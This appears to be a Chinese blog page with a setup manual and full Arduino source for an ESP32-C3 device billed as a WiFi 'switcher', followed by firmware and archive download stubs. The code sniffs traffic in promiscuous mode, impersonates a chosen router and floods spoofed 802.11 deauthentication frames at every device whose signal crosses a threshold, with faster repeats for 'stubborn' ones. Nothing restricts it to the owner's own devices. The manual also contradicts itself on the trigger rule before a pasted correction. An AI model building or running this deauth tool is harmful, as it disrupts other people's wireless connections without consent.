WiFi switcher

这是一份为你的 ESP32-C3 智能 WiFi 切换器(网页配置版) 量身定制的详细使用说明书。你可以直接按照以下步骤进行操作和测试。


🚀 第一阶段:初次开机与配网(配置模式)

当 ESP32-C3 刚刚通电时,它会优先进入“配置模式”。在这个阶段,它会变成一个路由器,发射出专属的 WiFi 热点供你连接。

1. 给设备供电 将烧录好程序的 ESP32-C3 插入电源(充电宝或 USB 适配器均可)。

2. 连接配置热点

  • 打开你的手机或电脑的 WiFi 设置。
  • 搜索并连接名为 ESP32_Switcher_Config 的 WiFi。
  • 输入密码:12345678
  • (💡 贴心设计:设备刚开机时只有 60 秒的时间会广播这个热点。但别担心,只要你的手机连上了这个热点,60秒倒计时就会自动暂停,你可以慢慢配置,不会被踢下线。)

3. 打开配置网页

  • 连接热点后,打开手机或电脑的浏览器(推荐 Chrome、Safari 或 Edge)。
  • 在地址栏输入:192.168.4.1 并回车。
  • 你将看到一个蓝白风格的“⚙️ 切换器参数配置”页面。

📝 第二阶段:参数设置详解

在网页中,你会看到以下几个核心参数,你可以根据实际的房间环境进行调整:

  • 目标 A 路由器 SSID: * 填什么:你要保护的那个路由器的 WiFi 名称(也就是你希望设备一直连着的那个主路由器)。
    • 注意:严格区分大小写,千万不要填错,否则设备会一直找不到路由器。
  • B 房间触发阈值 (RSSI):
    • 填什么:代表信号强度的负数(比如 -68)。数字越靠近 0,代表信号越强(距离越近)。
    • 作用:当有人拿着手机走到 B 房间,信号弱于(比如低于 -68dBm)这个设定的值时,切换器就会认定“他进 B 房间了”,开始将他踢下线。
  • 最大记录设备数: * 默认 25 即可,一般家庭环境足够用了(最大支持填 50)。
  • Deauth 攻击间隔 (毫秒): * 默认 1200(即 1.2 秒)。意思是每隔 1.2 秒给 B 房间的设备发送一次“强制断开”指令。如果有些设备比较顽固,可以适当调低到 8001000
  • 自动校准模式:
    • 关闭:严格按照你上面填写的“触发阈值”来工作。
    • 开启:如果你不知道阈值该填多少,就选这个。开启后,设备进入工作状态的前 60 秒只看不踢。你只需拿着手机在 B 房间走动一圈,它会自动学习 B 房间的信号强度范围,并智能设定一个最适合的阈值。

4. 保存并重启 确认无误后,点击网页底部的 “保存并重启设备”。此时手机会与热点断开,ESP32 将把配置永久保存在芯片内部,并自动重启。


🛡️ 第三阶段:正常工作(嗅探与切换模式)

设备重启后,如果 60 秒内没有手机再去连接它的配置热点(或者你刚才点击了保存),它就会关闭热点,正式进入“潜行工作模式”。

它的工作流程如下:

  1. 静默扫描:它会在 1~13 信道间扫描,寻找你配置的“目标 A 路由器”,并锁定它的信道和 MAC 地址。
  2. 监听 B 房间:它开始抓取空气中的 WiFi 数据包。当发现有设备的信号强度达到了你设定的“B 房间阈值”,它就会将其记录到“活跃设备列表”中。
  3. 精准打击:对于列表中的设备,ESP32 会伪装成 A 路由器,向该设备发送 Deauth(解除认证)数据帧,迫使该设备断开当前连接,从而实现“切换”效果。
  4. 智能放行:如果该设备离开了 B 房间(超过 15 秒没有被 ESP32 监听到足够强的信号),ESP32 会自动将它从列表中移除,停止发送断开指令。

❓ 常见问题与维护 (FAQ)

Q1:我之前配置错了,或者换了路由器,怎么重新修改参数? 很简单。拔掉 ESP32 的电源重新插上。在刚通电的前 60 秒内,使用手机重新连接 ESP32_Switcher_Config 热点,进入 192.168.4.1 修改并保存即可。你的新配置会覆盖旧配置。

Q2:我怎么知道它现在到底在干嘛?有没有成功踢人? 如果你手头有电脑,可以使用数据线将 ESP32 连到电脑上,打开 Arduino IDE 的 串口监视器 (Serial Monitor),将波特率设置为 115200。 你会看到非常详细的中文运行日志,包括:

  • 它找到了几个候选路由器
  • 当前锁定了哪个信道
  • 哪些设备的 MAC 地址进入了 B 房间
  • 已经发送了多少次 Deauth 指令
  • 每 30 秒打印一次的全局统计报表

目前设备主要通过串口输出状态,在脱离电脑独立运行时,你可能无法直观地知道它是否正在攻击。需要我为你加上代码,利用 ESP32-C3 板载的 LED 指示灯来显示工作状态吗(比如:配置期常亮,找到路由器后慢闪,正在踢人时快闪)?

切换器判定设备进入 B 房间,并不是因为信号“弱于”(低于)设定值,恰恰相反,是因为信号“强于”(大于)这个设定值

这个机制的底层原理基于空间距离与无线电波强度的关系(RSSI 探测),结合了 ESP32 的混杂监听模式(Promiscuous Mode)

我们可以把这个过程拆解为以下几个生动的步骤来理解:

1. 负数规则:理解 RSSI(信号强度指示)

Wi-Fi 的信号强度(RSSI)在程序中是用负数来表示的,单位是 dBm 。+1

  • 数字越靠近 0,表示信号越强(距离越近)。比如 -40 dBm 信号极强,说明设备就在眼前。
  • 数字越远离 0,表示信号越弱(距离越远)。比如 -85 dBm 信号极弱,说明设备在很远的另一个房间。

所以,-65 dBm大于(强于)-68 dBm 的。程序中的触发逻辑是:当 rssi > currentRssiThreshold(例如测得信号为 -65,大于阈值 -68)时,才会把设备加入 B 房间的名单

2. “顺风耳”模式:被动监听

ESP32 并没有连接你手机的 Wi-Fi。相反,它开启了“混杂模式”(类似网络抓包),变成了一个全频段的“顺风耳” 。 你的手机只要开着 Wi-Fi,哪怕没有在下载东西,它也会时不时地向四周发射无线电波(比如寻找周围有没有更强的路由器,或者发送心跳包)。ESP32 就在暗中默默捕捉这些电波。+2

3. 位置逻辑:ESP32 的埋伏点

这个系统的巧妙之处在于:ESP32 切换器本身是物理放置在 B 房间里的

  • 当你坐在 A 房间时,离 B 房间里的 ESP32 很远。ESP32 听到你手机发出的电波非常微弱(比如 -80 dBm)。因为 -80 < -68,ESP32 认为你“还没进来”,按兵不动 。
  • 当你拿着手机走近并踏入 B 房间时,你的手机离 ESP32 越来越近。ESP32 听到你手机的声音越来越响亮。
  • 一旦这声音的强度越过了那条设定的红线(比如达到了 -60 dBm,大于 -68 dBm),ESP32 就立刻断定:“抓到你了,你进入了我的地盘(B 房间)!”

4. 实施拦截:发送 Deauth 断开指令

既然确认你进了 B 房间,按理说你应该连 B 房间的路由器了,但手机通常很“笨”,只要 A 路由器的信号还没彻底断光,它就死死咬住不放,导致你在 B 房间上网极慢。 此时,ESP32 就会冒充 A 路由器,对你的手机大喊一句:“我要断开连接!”(这就是 Deauth 攻击帧)。你的手机收到这个强制断开指令后,就会瞬间掉线,然后立刻去寻找周围最强的信号——自然就顺利切换到了你头顶上 B 房间的路由器。


总结来说:因为 ESP32 就放在 B 房间,所以它依靠“听”你手机信号的响亮程度(RSSI 是否大于阈值),来判断你到底离它有多近。

switherwifi

/*
 * ESP32-C3 智能WiFi切换器 - 改进版
 *
 * 改进点:
 * 1. 更准确的A路由器识别(信号强度 + 稳定性)
 * 2. 多种帧类型检测(Probe Request + Data + Association)
 * 3. 自适应RSSI阈值(自动学习模式)
 * 4. 智能Deauth频率(根据设备响应调整)
 * 5. 详细的调试信息和统计
 */

#include <WiFi.h>
#include "esp_wifi.h"

// ==================== 配置区 ====================
const char* TARGET_SSID = "HUAWEI";           // WiFi名称
const int RSSI_THRESHOLD = -68;                // B房间触发阈值(可自动校准)
const int MAX_CLIENTS = 25;
const unsigned long CLIENT_TIMEOUT = 15000;    // 15秒没看到就移除
const unsigned long DEAUTH_INTERVAL = 1200;    // Deauth间隔(毫秒)
const int SCAN_DURATION = 42000;               // 扫描时长(毫秒)
const int SCAN_CHANNEL_DWELL = 280;            // 每个信道停留时间(毫秒)

// 自动校准模式(设为true时,前60秒只监听不干扰,学习RSSI分布)
const bool AUTO_CALIBRATE = false;
const unsigned long CALIBRATE_DURATION = 60000;

// ==================== 数据结构 ====================
struct ClientInfo {
  uint8_t mac[6];
  unsigned long lastSeen;
  int lastRSSI;
  int deauthCount;           // 已发送的deauth次数
  unsigned long lastDeauth;  // 上次deauth时间
  bool isStubborn;           // 是否是"顽固"设备(需要更频繁干扰)
};

struct APCandidate {
  uint8_t bssid[6];
  int channel;
  int rssi;
  int beaconCount;           // 看到的beacon数量(用于判断稳定性)
  unsigned long lastSeen;
};

// ==================== 全局变量 ====================
ClientInfo activeClients[MAX_CLIENTS];
int clientCount = 0;

APCandidate apCandidates[10];  // 最多记录10个候选AP
int candidateCount = 0;

uint8_t A_BSSID[6] = {0};
int A_CHANNEL = 0;
bool A_found = false;

int minRssiSeen = 100;
int maxRssiSeen = -100;
uint8_t bestBSSID[6] = {0};
int bestChannel = 0;

unsigned long lastDeauthTime = 0;
unsigned long lastCleanupTime = 0;
unsigned long lastStatsTime = 0;
unsigned long startTime = 0;

// 统计信息
unsigned long totalDeauthSent = 0;
unsigned long totalClientsDetected = 0;
int currentRssiThreshold = RSSI_THRESHOLD;

wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();

// ==================== 辅助函数 ====================

// 格式化MAC地址
void formatMAC(const uint8_t* mac, char* output) {
  sprintf(output, "%02X:%02X:%02X:%02X:%02X:%02X",
          mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
}

// 添加或更新AP候选
void addOrUpdateAPCandidate(const uint8_t* bssid, int channel, int rssi) {
  // 查找是否已存在
  for (int i = 0; i < candidateCount; i++) {
    if (memcmp(apCandidates[i].bssid, bssid, 6) == 0) {
      apCandidates[i].rssi = (apCandidates[i].rssi + rssi) / 2;  // 平均RSSI
      apCandidates[i].beaconCount++;
      apCandidates[i].lastSeen = millis();
      return;
    }
  }

  // 添加新候选
  if (candidateCount < 10) {
    memcpy(apCandidates[candidateCount].bssid, bssid, 6);
    apCandidates[candidateCount].channel = channel;
    apCandidates[candidateCount].rssi = rssi;
    apCandidates[candidateCount].beaconCount = 1;
    apCandidates[candidateCount].lastSeen = millis();
    candidateCount++;
  }
}

// 选择最佳A路由器(综合考虑信号强度和稳定性)
void selectBestAP() {
  int bestScore = -1000;
  int bestIndex = -1;

  for (int i = 0; i < candidateCount; i++) {
    // 评分 = RSSI弱(负数小)+ beacon稳定性
    // 我们要找信号最弱但稳定的那个
    int score = -apCandidates[i].rssi + (apCandidates[i].beaconCount * 2);

    if (score > bestScore) {
      bestScore = score;
      bestIndex = i;
    }
  }

  if (bestIndex >= 0) {
    memcpy(A_BSSID, apCandidates[bestIndex].bssid, 6);
    A_CHANNEL = apCandidates[bestIndex].channel;
    minRssiSeen = apCandidates[bestIndex].rssi;
    A_found = true;

    char macStr[18];
    formatMAC(A_BSSID, macStr);
    Serial.printf("✅ 锁定 A 路由器!\n");
    Serial.printf("   BSSID: %s\n", macStr);
    Serial.printf("   信道: %d\n", A_CHANNEL);
    Serial.printf("   RSSI: %d dBm\n", minRssiSeen);
    Serial.printf("   稳定性: %d beacons\n", apCandidates[bestIndex].beaconCount);
    Serial.println("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━");
  }
}

// 添加或更新客户端
void addOrUpdateClient(const uint8_t* mac, int rssi) {
  // 检查是否已存在
  for (int i = 0; i < clientCount; i++) {
    if (memcmp(activeClients[i].mac, mac, 6) == 0) {
      activeClients[i].lastSeen = millis();
      activeClients[i].lastRSSI = rssi;

      // 更新RSSI统计
      if (rssi > maxRssiSeen) maxRssiSeen = rssi;
      if (rssi < minRssiSeen) minRssiSeen = rssi;

      return;
    }
  }

  // 添加新客户端
  if (clientCount < MAX_CLIENTS) {
    memcpy(activeClients[clientCount].mac, mac, 6);
    activeClients[clientCount].lastSeen = millis();
    activeClients[clientCount].lastRSSI = rssi;
    activeClients[clientCount].deauthCount = 0;
    activeClients[clientCount].lastDeauth = 0;
    activeClients[clientCount].isStubborn = false;

    totalClientsDetected++;
    clientCount++;

    char macStr[18];
    formatMAC(mac, macStr);
    Serial.printf("🆕 新设备进入B房间: %s (RSSI: %d dBm)\n", macStr, rssi);
  }
}

// 发送针对性Deauth
void sendTargetedDeauth(const uint8_t* clientMac, int index) {
  uint8_t deauthFrame[26];

  // AP → Client
  memcpy(deauthFrame, (uint8_t*)"\xC0\x00\x00\x00", 4);
  memcpy(deauthFrame + 4, clientMac, 6);
  memcpy(deauthFrame + 10, A_BSSID, 6);
  memcpy(deauthFrame + 16, A_BSSID, 6);
  deauthFrame[22] = 0x00; deauthFrame[23] = 0x00;
  deauthFrame[24] = 0x07; deauthFrame[25] = 0x00;
  esp_wifi_80211_tx(WIFI_IF_STA, deauthFrame, 26, false);

  // Client → AP(更有效)
  memcpy(deauthFrame + 4, A_BSSID, 6);
  memcpy(deauthFrame + 10, clientMac, 6);
  memcpy(deauthFrame + 16, A_BSSID, 6);
  esp_wifi_80211_tx(WIFI_IF_STA, deauthFrame, 26, false);

  // 更新统计
  activeClients[index].deauthCount++;
  activeClients[index].lastDeauth = millis();
  totalDeauthSent += 2;

  // 判断是否是顽固设备(发了5次还在)
  if (activeClients[index].deauthCount > 5) {
    activeClients[index].isStubborn = true;
  }
}

// 嗅探回调
void sniffer(void* buf, wifi_promiscuous_pkt_type_t type) {
  if (type != WIFI_PKT_MGMT) return;

  wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf;
  uint8_t* payload = pkt->payload;
  int rssi = pkt->rx_ctrl.rssi;

  if (rssi == 0) return;

  uint8_t frameType = payload[0];

  // 扫描阶段:收集Beacon
  if (!A_found) {
    if (frameType == 0x80) {  // Beacon
      uint8_t bssid[6];
      memcpy(bssid, &payload[10], 6);

      int pos = 24;
      bool ssidMatch = false;
      int ch = -1;

      while (pos + 2 < pkt->rx_ctrl.sig_len) {
        uint8_t tag = payload[pos];
        uint8_t len = payload[pos + 1];

        if (tag == 0 && len > 0 && len < 33) {  // SSID
          char ssid[33] = {0};
          memcpy(ssid, &payload[pos + 2], len);
          if (strcmp(ssid, TARGET_SSID) == 0) {
            ssidMatch = true;
          }
        }

        if (tag == 3 && len == 1) {  // DS Parameter Set
          ch = payload[pos + 2];
        }

        pos += 2 + len;
      }

      if (ssidMatch && ch > 0) {
        addOrUpdateAPCandidate(bssid, ch, rssi);
      }
    }
    return;
  }

  // 监听阶段:检测客户端
  uint8_t clientMac[6];
  bool isRelevant = false;

  // Probe Request (0x40)
  if (frameType == 0x40) {
    memcpy(clientMac, &payload[10], 6);  // addr2 = 发送者
    isRelevant = true;
  }
  // Data frames (0x08, 0x88, 0x48...)
  else if ((frameType & 0x0C) == 0x08) {
    // ToDS=1: addr2是发送者(STA)
    if (payload[1] & 0x01) {
      memcpy(clientMac, &payload[10], 6);
      isRelevant = true;
    }
  }
  // Association Request (0x00)
  else if (frameType == 0x00) {
    memcpy(clientMac, &payload[10], 6);
    isRelevant = true;
  }

  if (isRelevant) {
    // 过滤掉AP自己和广播
    if (memcmp(clientMac, A_BSSID, 6) != 0 &&
        memcmp(clientMac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6) != 0) {

      // 校准模式:只记录不干扰
      if (AUTO_CALIBRATE && millis() - startTime < CALIBRATE_DURATION) {
        if (rssi > maxRssiSeen) maxRssiSeen = rssi;
        if (rssi < minRssiSeen) minRssiSeen = rssi;
        return;
      }

      // 正常模式:RSSI超过阈值才加入列表
      if (rssi > currentRssiThreshold) {
        addOrUpdateClient(clientMac, rssi);
      }
    }
  }
}

// 扫描A路由器
void scanForA() {
  Serial.println("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━");
  Serial.println("🔍 正在扫描并识别 A 路由器...");
  Serial.printf("   目标SSID: %s\n", TARGET_SSID);
  Serial.printf("   扫描时长: %d 秒\n", SCAN_DURATION / 1000);
  Serial.println("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━");

  unsigned long scanStart = millis();
  int scanRounds = 0;

  while (millis() - scanStart < SCAN_DURATION) {
    for (int ch = 1; ch <= 13; ch++) {
      esp_wifi_set_channel(ch, WIFI_SECOND_CHAN_NONE);
      delay(SCAN_CHANNEL_DWELL);
    }
    scanRounds++;

    // 每轮显示进度
    if (scanRounds % 3 == 0) {
      Serial.printf("   扫描进度: %d%%  (发现 %d 个候选AP)\n",
                    (int)((millis() - scanStart) * 100 / SCAN_DURATION),
                    candidateCount);
    }
  }

  Serial.println("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━");
  Serial.printf("📊 扫描完成!共发现 %d 个候选AP\n", candidateCount);

  if (candidateCount > 0) {
    // 显示所有候选
    Serial.println("\n候选AP列表:");
    for (int i = 0; i < candidateCount; i++) {
      char macStr[18];
      formatMAC(apCandidates[i].bssid, macStr);
      Serial.printf("  %d. %s  Ch:%d  RSSI:%d  Beacons:%d\n",
                    i + 1, macStr, apCandidates[i].channel,
                    apCandidates[i].rssi, apCandidates[i].beaconCount);
    }
    Serial.println();

    selectBestAP();

    if (A_found) {
      esp_wifi_set_channel(A_CHANNEL, WIFI_SECOND_CHAN_NONE);

      if (AUTO_CALIBRATE) {
        Serial.println("🎯 进入自动校准模式(60秒)...");
        Serial.println("   请在B房间走动,让设备学习RSSI分布");
      }
    }
  } else {
    Serial.println("❌ 未找到匹配的WiFi!");
    Serial.println("   请检查:");
    Serial.println("   1. SSID是否正确(区分大小写)");
    Serial.println("   2. 路由器是否开启");
    Serial.println("   3. ESP32是否在信号范围内");
  }
}

// 打印统计信息
void printStats() {
  Serial.println("\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━");
  Serial.println("📊 运行统计");
  Serial.println("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━");
  Serial.printf("运行时间: %lu 秒\n", (millis() - startTime) / 1000);
  Serial.printf("当前活跃设备: %d\n", clientCount);
  Serial.printf("累计检测设备: %lu\n", totalClientsDetected);
  Serial.printf("累计发送Deauth: %lu\n", totalDeauthSent);
  Serial.printf("RSSI阈值: %d dBm\n", currentRssiThreshold);
  Serial.printf("RSSI范围: %d ~ %d dBm\n", minRssiSeen, maxRssiSeen);

  if (clientCount > 0) {
    Serial.println("\n当前设备列表:");
    for (int i = 0; i < clientCount; i++) {
      char macStr[18];
      formatMAC(activeClients[i].mac, macStr);
      Serial.printf("  %s  RSSI:%d  Deauth:%d  %s\n",
                    macStr, activeClients[i].lastRSSI,
                    activeClients[i].deauthCount,
                    activeClients[i].isStubborn ? "[顽固]" : "");
    }
  }
  Serial.println("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n");
}

// ==================== 主程序 ====================

void setup() {
  Serial.begin(115200);
  delay(1000);

  Serial.println("\n\n");
  Serial.println("╔════════════════════════════════════════╗");
  Serial.println("║  ESP32-C3 智能WiFi切换器 - 改进版     ║");
  Serial.println("║  版本: 2.0                             ║");
  Serial.println("╚════════════════════════════════════════╝");
  Serial.println();

  startTime = millis();

  WiFi.mode(WIFI_MODE_STA);
  esp_wifi_init(&cfg);
  esp_wifi_set_mode(WIFI_MODE_STA);
  esp_wifi_start();
  esp_wifi_set_promiscuous(true);
  esp_wifi_set_promiscuous_rx_cb(sniffer);

  scanForA();
}

void loop() {
  if (!A_found) {
    delay(5000);
    return;
  }

  unsigned long now = millis();

  // 自动校准模式
  if (AUTO_CALIBRATE && now - startTime == CALIBRATE_DURATION) {
    // 校准完成,设置阈值为最大RSSI - 5dBm
    currentRssiThreshold = maxRssiSeen - 5;
    Serial.println("\n✅ 自动校准完成!");
    Serial.printf("   检测到RSSI范围: %d ~ %d dBm\n", minRssiSeen, maxRssiSeen);
    Serial.printf("   设置阈值为: %d dBm\n", currentRssiThreshold);
    Serial.println("   开始正常工作...\n");
  }

  // 清理过期客户端
  if (now - lastCleanupTime > 5000) {
    lastCleanupTime = now;
    for (int i = 0; i < clientCount; i++) {
      if (now - activeClients[i].lastSeen > CLIENT_TIMEOUT) {
        char macStr[18];
        formatMAC(activeClients[i].mac, macStr);
        Serial.printf("👋 设备离开B房间: %s\n", macStr);

        // 移除
        for (int j = i; j < clientCount - 1; j++) {
          activeClients[j] = activeClients[j + 1];
        }
        clientCount--;
        i--;
      }
    }
  }

  // 执行Deauth
  if (now - lastDeauthTime > DEAUTH_INTERVAL && clientCount > 0) {
    // 跳过校准期
    if (AUTO_CALIBRATE && now - startTime < CALIBRATE_DURATION) {
      delay(50);
      return;
    }

    lastDeauthTime = now;
    Serial.printf("🚨 检测到 %d 个设备在B房间,正在切换...\n", clientCount);

    for (int i = 0; i < clientCount; i++) {
      // 顽固设备更频繁干扰
      if (activeClients[i].isStubborn) {
        if (now - activeClients[i].lastDeauth < 500) {
          continue;  // 刚发过,跳过
        }
      }

      sendTargetedDeauth(activeClients[i].mac, i);

      char macStr[18];
      formatMAC(activeClients[i].mac, macStr);
      Serial.printf("   → %s (RSSI:%d, 已发:%d次%s)\n",
                    macStr, activeClients[i].lastRSSI,
                    activeClients[i].deauthCount,
                    activeClients[i].isStubborn ? " [顽固]" : "");
    }
  }

  // 定期打印统计
  if (now - lastStatsTime > 30000) {  // 每30秒
    lastStatsTime = now;
    printStats();
  }

  delay(50);
}

ota esp32c3

http://www.mixdiy.com/wp-content/uploads/2026/02/firmware_update.zip

[特殊文件] turnrightleft.tar

大文件或特殊文件说明

这是由自动文件传输系统创建的文章。

📥 文件下载

文件名: turnrightleft.tar.gz

文件大小: 0.0MB


立即下载

文件 turnrightleft.tar.gz 已成功传输到本地服务器,并通过SCP直接上传到WordPress服务器。

文件信息 详细内容
文件名 turnrightleft.tar.gz
文件大小 0.00MB
修改时间 2025-11-28 07:23:14
本地路径 C:\Users\Administrator\Downloads\turnrightleft.tar.gz
处理原因 文件类型限制:文件类型可能被WordPress服务器限制上传
这是由于WordPress的安全设置限制了此类文件的上传
下载链接 https://www.mixdiy.com/wp-content/uploads/turnrightleft.tar_20251128_072316.gz

[特殊文件] baby.tar

大文件或特殊文件说明

这是由自动文件传输系统创建的文章。

📥 文件下载

文件名: baby.tar.gz

文件大小: 8.24MB


立即下载

文件 baby.tar.gz 已成功传输到本地服务器,并通过SCP直接上传到WordPress服务器。

文件信息 详细内容
文件名 baby.tar.gz
文件大小 8.24MB
修改时间 2025-11-27 22:42:01
本地路径 C:\Users\Administrator\Downloads\baby.tar.gz
处理原因 文件类型限制:文件类型可能被WordPress服务器限制上传
这是由于WordPress的安全设置限制了此类文件的上传
下载链接 https://www.mixdiy.com/wp-content/uploads/baby.tar_20251127_224203.gz

[特殊文件] wifi_setup_v7.0_general.tar

大文件或特殊文件说明

这是由自动文件传输系统创建的文章。

📥 文件下载

文件名: wifi_setup_v7.0_general.tar.gz

文件大小: 9.35MB


立即下载

文件 wifi_setup_v7.0_general.tar.gz 已成功传输到本地服务器,并通过SCP直接上传到WordPress服务器。

文件信息 详细内容
文件名 wifi_setup_v7.0_general.tar.gz
文件大小 9.35MB
修改时间 2025-11-27 12:23:25
本地路径 C:\Users\Administrator\Downloads\wifi_setup_v7.0_general.tar.gz
处理原因 文件类型限制:文件类型可能被WordPress服务器限制上传
这是由于WordPress的安全设置限制了此类文件的上传
下载链接 https://www.mixdiy.com/wp-content/uploads/wifi_setup_v7.0_general.tar_20251127_122327.gz

[特殊文件] wifi_setup_v6.0_general.tar

大文件或特殊文件说明

这是由自动文件传输系统创建的文章。

📥 文件下载

文件名: wifi_setup_v6.0_general.tar.gz

文件大小: 9.34MB


立即下载

文件 wifi_setup_v6.0_general.tar.gz 已成功传输到本地服务器,并通过SCP直接上传到WordPress服务器。

文件信息 详细内容
文件名 wifi_setup_v6.0_general.tar.gz
文件大小 9.34MB
修改时间 2025-11-27 12:00:43
本地路径 C:\Users\Administrator\Downloads\wifi_setup_v6.0_general.tar.gz
处理原因 文件类型限制:文件类型可能被WordPress服务器限制上传
这是由于WordPress的安全设置限制了此类文件的上传
下载链接 https://www.mixdiy.com/wp-content/uploads/wifi_setup_v6.0_general.tar_20251127_120044.gz

[特殊文件] wifi_setup_v5.0_general.tar

大文件或特殊文件说明

这是由自动文件传输系统创建的文章。

📥 文件下载

文件名: wifi_setup_v5.0_general.tar.gz

文件大小: 9.34MB


立即下载

文件 wifi_setup_v5.0_general.tar.gz 已成功传输到本地服务器,并通过SCP直接上传到WordPress服务器。

文件信息 详细内容
文件名 wifi_setup_v5.0_general.tar.gz
文件大小 9.34MB
修改时间 2025-11-27 10:27:41
本地路径 C:\Users\Administrator\Downloads\wifi_setup_v5.0_general.tar.gz
处理原因 文件类型限制:文件类型可能被WordPress服务器限制上传
这是由于WordPress的安全设置限制了此类文件的上传
下载链接 https://www.mixdiy.com/wp-content/uploads/wifi_setup_v5.0_general.tar_20251127_102750.gz

[特殊文件] wifi_setup_v5.0_general.tar

大文件或特殊文件说明

这是由自动文件传输系统创建的文章。

📥 文件下载

文件名: wifi_setup_v5.0_general.tar.gz

文件大小: 9.34MB


立即下载

文件 wifi_setup_v5.0_general.tar.gz 已成功传输到本地服务器,并通过SCP直接上传到WordPress服务器。

文件信息 详细内容
文件名 wifi_setup_v5.0_general.tar.gz
文件大小 9.34MB
修改时间 2025-11-27 10:27:41
本地路径 C:\Users\Administrator\Downloads\wifi_setup_v5.0_general.tar.gz
处理原因 文件类型限制:文件类型可能被WordPress服务器限制上传
这是由于WordPress的安全设置限制了此类文件的上传
下载链接 https://www.mixdiy.com/wp-content/uploads/wifi_setup_v5.0_general.tar_20251127_102743.gz